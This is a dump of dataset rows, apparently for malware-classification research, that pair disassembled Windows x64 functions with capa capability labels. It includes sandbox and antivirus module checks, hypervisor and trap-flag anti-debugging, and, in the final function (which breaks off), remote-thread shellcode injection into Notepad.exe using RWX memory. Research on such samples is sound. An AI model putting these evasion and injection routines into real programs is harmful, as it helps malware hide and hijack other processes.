joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400371d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x20
mov rbx, qword [0x140254078]
xor ebp, ebp
cmp byte [rbx + 0x5f58], bpl
jne 0x1400372cc
cmp dword [rbx + 0x5f80], ebp
je 0x140037217
mov r8d, 0x3583
lea rdx, str.C:UsersNOinsDesktopimgui_menu_Mightness_thirdpartyimguiimgui.cpp
lea rcx, str.g.SettingsWindows.empty__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400372c5
lea r8, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
call fcn.14001e400
mov rdi, rax
test rax, rax
je 0x1400372c5
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x140037251
mov rcx, rax
call fcn.140037420
mov r8, qword [0x140254078]
test r8, r8
je 0x1400372bc
movsx rdx, word [r8 + 0x60e0]
lea rcx, [r8 + 0x60e4]
mov r9d, dword [r8 + 0x3f68]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x1400372b1
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60e0], cx
movsx rax, cx
lea rcx, [r8 + 0x60e4]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], ebp
inc word [rcx + 6]
inc dword [r8 + 0x60dc]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov byte [rbx + 0x5f58], 1
movss xmm0, dword [rbx + 0x5f5c]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x140037369
subss xmm0, dword [rbx + 0x18]
comiss xmm1, xmm0
movss dword [rbx + 0x5f5c], xmm0
jb 0x140037369
mov rdi, qword [rbx + 0x20]
mov qword [rsp + 0x38], rsi
test rdi, rdi
je 0x140037357
mov rax, qword [0x140254078]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rbp
mov dword [rax + 0x5f5c], ebp
call fcn.1400376a0
lea rdx, [0x1400e038c]
mov rcx, rdi
mov rsi, rax
call fcn.14001e270
mov rdi, rax
test rax, rax
je 0x14003735e
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x14003735e
mov byte [rbx + 0xce], 1
mov rsi, qword [rsp + 0x38]
mov dword [rbx + 0x5f5c], ebp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x140037380
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140254078]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x1400373e3
mov qword [rsp], rbx
lea rbx, [0x1400d5940]
nop dword [rax]
cmp r9b, 0x23
jne 0x1400373c3
cmp byte [r8], r9b
jne 0x1400373c3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x1400373b0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5f70]
not eax
mov r8, qword [r10 + 0x5f78]
lea rdx, [rcx + rcx*8]
lea rcx, [r8 + rdx*8]
cmp r8, rcx
je 0x14003740f
cmp dword [r8 + 8], eax
je 0x140037416
add r8, 0x48
cmp r8, rcx
jne 0x140037400
xor eax, eax
add rsp, 8
ret
mov rax, r8
add rsp, 8
ret
Function at 0x14005de60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rax, qword [rcx + 8]
mov ebp, r8d
mov ecx, 0x3e80000
mov rbx, qword [rax + 0x2f0]
mov rax, qword [rdx + 0x80]
movzx edx, word [rdx + 0x68]
movzx edi, word [rax + 0x18]
mov eax, 0x40000
shl edi, 0x10
cmp edi, eax
cmovl edi, eax
shl edx, 0x10
call fcn.14004caf0
mov dword [rsp + 0x24], eax
mov ecx, eax
cmp eax, 0x28f
jge 0x14005deb6
xor eax, eax
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0x24]
mov qword [rsp + 0x80], rsi
mov esi, dword [rbx + 0x28]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x3c]
mov qword [rsp + 0x40], r13
mov r13d, dword [rbx + 0x38]
mov dword [rsp + 0x88], eax
mov eax, dword [rbx + 0x2c]
mov qword [rsp + 0x38], r14
mov r14d, dword [rbx + 0x40]
mov dword [rsp + 0x70], eax
mov eax, dword [rbx + 0x34]
mov qword [rsp + 0x30], r15
mov r15d, dword [rbx + 0x30]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x20], r12d
test ebp, ebp
jg 0x14005df0d
mov ebp, 0x4b0000
jmp 0x14005df1b
shl ebp, 0x10
mov edx, ecx
mov ecx, ebp
call fcn.14004f0d0
mov ebp, eax
bsr ecx, ebp
bsr eax, edi
shl r12d, 0x10
add eax, ecx
cmp eax, 0x2e
jl 0x14005df31
mov eax, r12d
jmp 0x14005df3a
mov edx, edi
mov ecx, ebp
call fcn.14004f0d0
mov r9d, dword [rsp + 0x88]
mov ecx, r9d
shl ecx, 0x10
cmp eax, ecx
jge 0x14005df56
shl esi, 0x10
mov ecx, esi
jmp 0x14005e045
mov r8d, dword [rsp + 0x70]
mov edx, r8d
shl edx, 0x10
mov dword [rsp + 0x88], edx
cmp eax, edx
jge 0x14005dfb4
mov ebx, r8d
mov edx, edi
sub ebx, r9d
call fcn.14004caf0
mov ecx, ebp
sub ecx, eax
test ebx, ebx
je 0x14005dfa4
sub r15d, esi
mov r8d, ebx
mov edx, r15d
call fcn.14004efa0
shl esi, 0x10
mov edx, edi
mov ecx, esi
mov ebx, eax
call fcn.14004caf0
add ebx, eax
jmp 0x14005e04e
mov esi, dword [rsp + 0x78]
mov ebx, esi
mov r8d, dword [rsp + 0x70]
shl ebx, 0x10
jmp 0x14005dfc1
mov esi, dword [rsp + 0x78]
mov ebx, esi
shl ebx, 0x10
cmp eax, ebx
jge 0x14005e000
mov ecx, dword [rsp + 0x88]
mov r12d, esi
mov edx, edi
sub r12d, r8d
call fcn.14004caf0
mov ecx, ebp
sub ecx, eax
test r12d, r12d
je 0x14005e005
sub r13d, r15d
mov r8d, r12d
mov edx, r13d
call fcn.14004efa0
shl r15d, 0x10
mov edx, edi
mov ecx, r15d
mov ebx, eax
call fcn.14004caf0
add ebx, eax
jmp 0x14005e04e
cmp eax, r12d
jge 0x14005e03e
mov r15d, dword [rsp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.14004caf0
sub ebp, eax
sub r15d, esi
je 0x14005e03e
sub r14d, r13d
mov r8d, r15d
mov edx, r14d
mov ecx, ebp
call fcn.14004efa0
shl r13d, 0x10
mov edx, edi
mov ecx, r13d
mov ebx, eax
call fcn.14004caf0
add ebx, eax
jmp 0x14005e04e
shl r14d, 0x10
mov ecx, r14d
mov edx, edi
call fcn.14004caf0
mov ebx, eax
mov edx, dword [rsp + 0x24]
mov ecx, ebx
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp fcn.14004caf0
Function at 0x1400aa100
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x1400f3018]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x1400aa29c
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x1400aa29c
cmp r10d, r14d
jne 0x1400aa1a0
sub rbx, 0x10
jmp 0x1400aa2e4
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x1400aa212
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x1400aa1d4
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x1400aa1dc
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x1400aa1fb
movzx edx, r11b
mov rcx, rsi
call fcn.1400ab2b0
test al, al
jne 0x1400aa2f5
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.1400ab920
test al, al
jne 0x1400aa2f5
mov edx, dword [rsi + 0x64]
lea r9, [0x1400abc80]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x1400aa23e
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.1400a9f80
jmp 0x1400aa292
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.1400a9f80
test dil, dil
je 0x1400aa28a
cmp byte [rsi + 0x6a], 0
jne 0x1400aa28a
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x1400aa2f5
sub rbx, 0x10
jmp 0x1400aa2e4
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x1400aa2f9
mov ebp, dword [rbx]
jmp 0x1400aa160
mov al, 1
jmp 0x1400aa302
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400b64d0
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x1400b0650
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1400b066c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400b06c0
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400b07e5
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1400b07e5
test rax, rax
je 0x1400b07e5
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1400b07e5
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1400b075a
lea rax, [0x1400b0840]
jmp 0x1400b07b3
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1400b07e5
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400b07d3
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1400b0780
lea rax, [0x1400b0810]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1400b07fa
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1400b1dd0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1400b1ddb
xor eax, eax
ret
lea r11, [0x1400d3f40]
not ecx
cmp r8d, 8
jb 0x1400b1eb1
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1400b1e00
test r8d, r8d
je 0x1400b1edd
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1400b1ec0
not ecx
mov eax, ecx
ret
Function at 0x1400b68ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b68f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b68f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b68f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b68f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b68f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b68f8
xor al, al
add rsp, 0x28
ret
Function at 0x180001ff0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r10d, dword [0x18000c9f0]
lea r11, [0x18000c9f0]
mov r9d, 0x270
cmp r10d, r9d
jne 0x180002055
lea r8, [0x18000c9f8]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x180002010
mov r10d, dword [0x18000c9f0]
jmp 0x18000212f
cmp r10d, 0x4e0
jb 0x18000212f
xor r10d, r10d
mov r8d, 0x38c
mov r9d, r10d
nop
mov eax, dword [r9 + r11 + 0x9c4]
mov edx, eax
xor edx, dword [r9 + r11 + 0x9c8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + r11 + 0xff8]
xor ecx, edx
mov dword [r9 + r11 + 4], ecx
add r9, 4
cmp r9, r8
jb 0x180002070
mov eax, dword [r8 + r11 + 0x9c4]
mov edx, eax
xor edx, dword [r8 + r11 + 0x9c8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + r11 - 0x388]
xor ecx, edx
mov dword [r8 + r11 + 4], ecx
add r8, 4
cmp r8, 0x9bc
jb 0x1800020b0
mov edx, dword [0x18000dd70]
xor edx, dword [0x18000c9f4]
btr edx, 0x1f
mov dword [0x18000c9f0], r10d
xor edx, dword [0x18000dd70]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, edx
xor ecx, dword [0x18000d024]
mov dword [0x18000d3b0], ecx
mov eax, r10d
mov ecx, dword [r11 + rax*4 + 4]
inc eax
mov dword [0x18000c9f0], eax
mov eax, ecx
shr eax, 0xb
and eax, dword [0x18000dd74]
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret

Function at 0x1800045b0
Capabilities:
Check for sandbox and av modules

Disassembly:
sub rsp, 0x28
cmp edx, 1
je 0x1800045c3
mov eax, 1
add rsp, 0x28
ret
lea rcx, str.sbiedll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1800045e8
call fcn.180004630
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
add rsp, 0x28
ret
xor eax, eax
add rsp, 0x28
ret
Function at 0x180004630
Capabilities:
Check for trap flag exception
Reference processor manufacturer constants

Disassembly:
push rbp
sub rsp, 0x30
mov rbp, rsp
mov qword [rsp + 0x40], rbx
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x28], rax
mov eax, 1
xor ecx, ecx
cpuid
mov dword [rbp + 0x18], eax
mov dword [rbp + 0x1c], ebx
mov dword [rbp + 0x20], ecx
mov dword [rbp + 0x24], edx
sar ecx, 0x1f
test cl, 1
je 0x18000469c
mov eax, 0x40000000
xor ecx, ecx
cpuid
cmp ebx, 0x7263694d
jne 0x180004698
cmp ecx, 0x666f736f
jne 0x180004698
cmp edx, 0x76482074
jne 0x180004698
mov eax, 0x40000003
xor ecx, ecx
cpuid
test bl, 1
jne 0x1800046e3
mov al, 1
jmp 0x1800046e5
pushfq
pop rax
bts rax, 8
push rax
popfq
nop
nop
jmp 0x1800046b5
pushfq
pop rcx
bts rcx, 8
push rcx
popfq
mov eax, 1
xor ecx, ecx
cpuid
mov dword [rbp + 0x18], eax
mov dword [rbp + 0x1c], ebx
mov dword [rbp + 0x20], ecx
mov dword [rbp + 0x24], edx
nop
nop
jmp 0x1800046e3
xor al, al
mov rcx, qword [rbp + 0x28]
xor rcx, rbp
call fcn.180002850
mov rbx, qword [rbp + 0x40]
lea rsp, [rbp + 0x30]
pop rbp
ret
Function at 0x180006a40
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x490
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x80]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x54]
xor edi, edi
mov qword [rsp + 0x38], rdi
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 0x18
mov edx, 0x70000
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor r9d, r9d
mov qword [rsp + 0x60], rdi
lea r8, [rsp + 0x64]
mov dword [rsp + 0x40], eax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], rdi
mov r8d, 0x200
lea rdx, [rsp + 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0x4c8], rbp
mov esi, 0x1cd
mov qword [rsp + 0x4d0], r14
mov r12d, 1
mov qword [rsp + 0x4d8], r15
mov r13d, 0x1c9
nop word [rax + rax]
mov qword [rsp + 0x48], rsi
cmp r12d, 4
jg 0x180006c78
lea ecx, [r13 - 4]
mov ebx, edi
movsxd r8, ecx
lea rax, [rsi - 4]
mov dword [rsp + 0x50], ebx
mov rdx, rdi
cmp rax, r8
jle 0x180006b69
cmp rdx, 4
jge 0x180006b65
movzx ecx, byte [rsp + rax + 0x80]
dec rax
mov byte [rsp + rdx + 0x50], cl
inc rdx
cmp rax, r8
jg 0x180006b48
mov ebx, dword [rsp + 0x50]
movzx ebp, byte [rsp + 0x51]
mov ecx, 0x18
movzx r14d, byte [rsp + 0x52]
movzx r15d, byte [rsp + 0x53]
movzx edi, bl
shl rdi, 8
or rdi, rbp
shl rdi, 8
or rdi, r14
shl rdi, 8
or rdi, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [0x18000c078]
mov rdx, rsi
movsxd r8, r13d
mov qword [0x18000c078], rax
mov qword [rcx + 0x10], rax
lea rcx, [rdi - 4]
mov qword [rax], rcx
xor ecx, ecx
mov qword [rax + 8], 0x15
mov qword [rax + 0x10], 0
cmp rsi, r8
jle 0x180006c05
cmp rcx, 4
jge 0x180006bf0
movzx eax, byte [rsp + rdx + 0x80]
dec rdx
mov byte [rsp + rcx + 0x50], al
inc rcx
cmp rdx, r8
jg 0x180006bd3
mov ebx, dword [rsp + 0x50]
movzx r15d, byte [rsp + 0x53]
movzx r14d, byte [rsp + 0x52]
movzx ebp, byte [rsp + 0x51]
movzx ebx, bl
mov ecx, 0x18
shl rbx, 8
movzx eax, bpl
or rbx, rax
movzx eax, r14b
shl rbx, 8
or rbx, rax
movzx eax, r15b
shl rbx, 8
or rbx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [0x18000c078]
add r13d, 0x10
add rsi, 0x10
mov qword [0x18000c078], rax
inc r12d
mov qword [rcx + 0x10], rax
lea rcx, [rdi - 0x14]
add rcx, rbx
mov qword [rax + 8], 0x15
xor edi, edi
mov qword [rax], rcx
cmp qword [rsp + 0x48], 0x1fd
mov qword [rax + 0x10], rdi
jl 0x180006b20
mov eax, dword [rsp + 0x40]
mov r15, qword [rsp + 0x4d8]
mov r14, qword [rsp + 0x4d0]
mov rbp, qword [rsp + 0x4c8]
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.180002850
add rsp, 0x490
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x140013160
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011299
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011900
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x6b0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x10c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6d8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x1400240a3]
call fcn.1400113a2
nop
lea rax, [rbp + 0x10]
lea rcx, [0x14001ad10]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x12a
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x160], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111ae
mov qword [rbp + 0x3b8], rax
lea rdx, [rbp + 0x160]
mov rcx, qword [rbp + 0x3b8]
call fcn.140011249
nop
lea rdx, str.Notepad.exe
lea rcx, [rbp + 0x18c]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140011b0c
mov r8d, dword [rbp + 0x168]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x3d8], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x12a
xor edx, edx
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x3f8], rax
cmp qword [rbp + 0x3f8], 0
jne 0x140011a21
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Memory_allocation_failed:__ul_n
call fcn.1400111a4
nop
mov eax, 1
jmp 0x140011b29
mov rdx, qword [rbp + 0x3f8]
lea rcx, str.Memory_page_allocated_at:_0x_p_n
call fcn.1400111a4
nop
mov qword [rsp + 0x20], 0
mov r9d, 0x12a
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x3f8]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x3f8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x418], rax
cmp qword [rbp + 0x418], 0
jne 0x140011abd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Falied_to_obtain_handle_to_process:__ul_n
call fcn.1400111a4
nop
mov eax, 1
jmp 0x140011b29
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x3f8]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x140011b27
lea rdx, [rbp + 0x160]
mov rcx, qword [rbp + 0x3b8]
call fcn.14001135c
test eax, eax
jne 0x140011997
xor eax, eax
mov rdi, rax
